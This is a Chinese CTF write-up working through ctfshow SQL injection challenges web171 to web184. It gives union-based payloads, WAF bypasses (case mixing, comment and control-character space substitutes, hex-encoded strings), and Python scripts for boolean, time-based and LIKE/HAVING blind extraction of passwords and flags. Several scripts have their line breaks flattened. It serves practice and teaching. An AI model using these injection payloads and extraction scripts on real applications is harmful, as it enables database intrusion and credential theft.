目录
web171
web172
web173
web174
web175
WEB176
web177
web178
web179
web180
web181—182(180也可以用)
web183
web184
web171
简单的注入
//查表名
payload =" 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+"//查列名
payload =" 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+"//查flag
payload =" 1' union select id,username,password from ctfshow_user --+"
web172
根据题目提示看到返回的信息不包含flag
利用
1' order by 1 --+ //回显正常
1' order by 2 --+ //回显正常
1' order by 3 --+ //回显错误
查看列数。
再利用
1' union select 1,2--+
查回显位为,再根据171中的步骤查数据库,表名,列名。
//查询返回的结果不能有flag,可以利用base64或hex绕过payload =" 1' union select to_base64(username),to_base64(password) from ctfshow_user2 --+"
web173
通过
1' order by 1--+ 1' order by 2--+1' order by 3--+1' union select 1,2,3--+
查询得出是列数和回显位,其它都是和web172中的类似。
web174
这道题可以先在查询框中随便查询1或2或3,发现没有回显,猜测一下可能是盲注。
首先用bp抓包试一下,得到关键信息
http://f5096abc-7db4-4448-8da0-fccd604899d9.challenge.ctf.show/api/v3.php?id=11&page=1&limit=10
用脚本尝试一下没有回显信息,根据前面的经验,这是第四题尝试改为v4.php?id=1,发现出现回显信息。
我们可以这样写脚本
import requestsurl = "http://f5096abc-7db4-4448-8da0-fccd604899d9.challenge.ctf.show/api/v4.php?id=1' and "result = ''
i = 0while True:i = i + 1head = 32tail = 127while head < tail:mid = (head + tail) // 2payload = f'1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- ' #f是将{i}和{mid}格式化输出r = requests.get(url + payload) if "admin" in r.text: #通过前面回显信息“admin”来判断ascii的值是否比mid的值大head = mid + 1 else:tail = midif head != 32:result += chr(head)else:breakprint(result)
payload = f'1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- '
我们深入理解一下这个payload,首先是f'xxxx',是将{i}和{mid}格式化输出,即包含的{}表达式在运行的时候会被表达式的值替代。
substr(str,{i},i)的意思是从str字符中的第{i}个位置开始返回一个字符
ascii()是将一个字符转化为ASCII值
if(ascii(substr(....))>{mid},1,0)语句进行判断,如果返回这个字符的ASCII值大于{mid}则返回1,否则返回0。然后结合前面的f'1=.....,返回1的话,1=1成立;返回1=0的话不成立,从而达到二分法缩小范围的目的。这里的二分法如果不太理解的话,可以先假设要查询字母的ASCII值为70,然后直接按照程序一步步算一下就会明白了。
web175
题目差不多,试了一下174的盲注没有返回,大致可以猜测是时间盲注。
import requestsurl = "http://3c50fbcb-6339-41ba-9cde-52665e0a95b0.challenge.ctf.show/api/v5.php?id=1' and "result = ''
i = 0while True:i = i + 1head = 32tail = 127while head < tail:mid = (head + tail) // 2payload = f'1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -' try:r = requests.get(url + payload, timeout=0.5)tail = midexcept Exception as e: #出现异常的处理方式,即查询的该字符的ascii值大于mid的值head = mid + 1if head != 32:result += chr(head)else:breakprint(result)
WEB176
看到题目提示简单的过滤,按照老方法(1' order by ...... --+)先查看列数为3。
接着用1' union select 1,2,3--+查询回显位发现查询信息异常,猜测可能过滤了什么。
空格是正常的,因为上面的语句可以查出回显位。将--+换成%23上面的order by也可以出来
所以应该是union、select、有问题,先一个个试试大小写绕过
当payload为
1' uniOn seleCt 1,2,database()--+
发现回显成功。接下来通过正常的读表名列名....拿flag。
web177
题目还是差不多的,首先试一下1' order by .....--+
发现有问题,把--+换成%23也是一样的结果,所以不是注释符的问题。
我们试一下1' and 1=1--+理论上说应该是恒成立的,但也是无数据。
尝试缩小一下范围,将语句变成1'and(1=1)--+,也是无数据。
按理说这样子应该是成立,试了几次忽然想起--+的本质是-- (空格),可能过滤了空格,换成%23试试
发现有回显,这道题过滤了空格。所以可以用/**/替代空格。
payload:
1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23
按照老一套找到flag就行了。
web178
题目没有什么变化,过滤了一些东西,闭合方式还是一样的。
显示无数据,把空格去掉试试,发现可以成功。因为--+的本质是-- (空格),所以测试是不是过滤空格要把--+换成%23
接着我们试着用上一题的/**/试试,发现过滤了什么
把*去掉试试
可以确定是过滤了*号
过滤了*的话,我们还可以用%09替代空格。
payload:
1'%09union%09select%091,2,password%09from%09ctfshow_user%23
web179
用178的测试方法发现还是过滤了空格,但用%09绕过已经不能用了。
可以根据ascll表来测试哪个可以替代空格。这里测试之后发现%0c可以。
直接上payload:
1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23
web180
这题也是简单的过滤,写多几题发现一个好用的方法,先用
1'and(1=1)--+
进行测试,发现无数据,猜测是过滤了空格或者是”-“,尝试换成%23和/**/发现也没数据。
猜测一下是过滤了空格,尝试用%0c试试
直接构造payload一把梭
1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user--%0c
web181—182(180也可以用)
这题过滤了挺多东西的,没想到怎么通过上面那些方法查flag,参考了Y4师傅的wp
payload: -1'or(id=26)and'1'='1
利用了and的优先级大于or,该payload的逻辑是先判断and左右两边是否为真,如果为真则再按从左到右的顺序查询or
根据上面的题可以发现flag在id=26的地方,但因为该题目只返回一条数据,所以or只能构造出表中不存在的数据,例如这题构造了-1,and判断后查询id=-1的数据发现不存在,进而进行查询id=26的数据。
web183
这题看到题目过滤了挺多东西,但有$_POST['tableName']这个注入点,同时查询结果返回用户表的记录总数。
可以用where'xx' like 'xx'模糊查找
1、tableName=(ctfshow_user)where(pass)like'ctfshow{%'
2、% :在sql中通配 N 个字符
3、_ :通配任意一个字符
会发现返回结果 $user_count = 1;代表匹配到了一个,利用此模式盲注
这里利用脚本直接盲注
import requestsurl = "http://cc9ac480-5917-4e26-8d69-78f43bc6ffa3.challenge.ctf.show/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"for i in range(0,40):for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":data={'tableName':"(ctfshow_user)where(pass)like'{}%'".format(flag+j)}result = requests.post(url,data)if 'user_count = 1' in result.text:flag += jprint(flag)if j == '}':exit()break
web184
184注入点还是原来的post,但是这次过滤了挺多东西,where过滤了意味着用不了上一题的方法 ,可以尝试group by +having的方式进行模糊查询。
重要的是这里过滤了引号,对于这个可以采取十六进制的方法绕过,我们在bp测试一下
,可以看到成功查询到结果。(0x63746673686f777b25=ctfshow{%)
所以这里可以直接上脚本
import requests
import sys
def change2hex(s):zimu=""zimu2=""for i in s:zimu+=hex(ord(i)) zimu2=zimu.replace("0x","")# print(zimu)# print(zimu2)return zimu2
url="http://31c6a825-47f6-4b91-be77-31c1a947122b.challenge.ctf.show/select-waf.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag="ctfshow{"
for i in range(100):for j in letter:data={'tableName':'ctfshow_user group by pass having pass like {}'.format("0x"+change2hex(flag+j+"%"))}res=requests.post(url=url,data=data).text#print(res)if "$user_count = 1;" in res:flag+=jprint(flag)breakif j=="}":sys.exit()
第二种方法是可以用右连接来做,
脚本
import requests
import sys
def change2hex(s):zimu=""zimu2=""for i in s:zimu+=hex(ord(i)) zimu2=zimu.replace("0x","")# print(zimu)# print(zimu2)return zimu2
url="http://31c6a825-47f6-4b91-be77-31c1a947122b.challenge.ctf.show/select-waf.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag="ctfshow{"
for i in range(100):for j in letter:data={'tableName':'ctfshow_user as a right join ctfshow_user as b on b.pass like {}'.format("0x"+change2hex(flag+j+"%"))}res=requests.post(url=url,data=data).text#print(res)if "$user_count = 1;" in res:flag+=jprint(flag)breakif j=="}":sys.exit()